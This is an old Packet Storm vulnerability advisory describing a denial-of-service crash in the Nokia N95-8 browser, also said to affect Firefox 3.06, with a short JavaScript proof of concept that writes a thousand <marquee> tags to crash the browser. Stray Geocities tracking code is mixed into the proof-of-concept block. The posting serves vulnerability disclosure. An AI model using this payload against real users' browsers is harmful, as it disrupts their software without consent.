Nokia N95-8 browser crashing denial of service exploit. Apparently this vulnerability also affects Firefox 3.06 causing a stack overflow.
86dfd323b43887238748e4a0706ff35c4404cb91073d28fa6fd5e401195533fa
Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT
------------------------------------------------------
Description
The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.
:)
------------------------------------------------------
Vulnerability
The code of this bug was found long ago, was for firefox 1.0 and caused denial of service.
The problem was that when you insert many html tags (<marquee>) the program crash.
I 'm testing this code in the browser of nokia n95 and this crash, only the browser.., the bug is very inofensive
but is curious
------------------------------------------------------
POC/EXPLOIT
Enter in this url
http://es.geocities.com/jplopezy/nokiacrash.html
or make html file and insert many tags <marquee>
POC CODE HERE:
<h1> Nokia N95 - 8gb browser crash </h1>
<html>
<script>
var data = "<marquee>";
for(x=1;x<=1000;x++){
document.write(data);
}
</script>
</html>
Juan Pablo Lopez Yacubian
<!-- following code added by server. PLEASE REMOVE -->
<!-- preceding code added by server. PLEASE REMOVE --><!-- text below generated by server. PLEASE REMOVE --></object></layer></div></span></style></noscript></table></script></applet><script language="JavaScript" src="http://us.i1.yimg.com/us.yimg.com/i/mc/mc.js"></script><script language="JavaScript" src="http://us.js2.yimg.com/us.js.yimg.com/lib/smb/js/hosting/cp/js_source/geov2_001.js"></script><script language="javascript">geovisit();</script><noscript><img src="http://visit.geocities.yahoo.com/visit.gif?es1233862552" alt="setstats" border="0" width="1" height="1"></noscript>
<IMG SRC="http://geo.yahoo.com/serv?s=382026089&t=1233862552&f=es-w88" ALT=1 WIDTH=1 HEIGHT=1>
------------------------------------------------------
Juan Pablo Lopez Yacubian
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed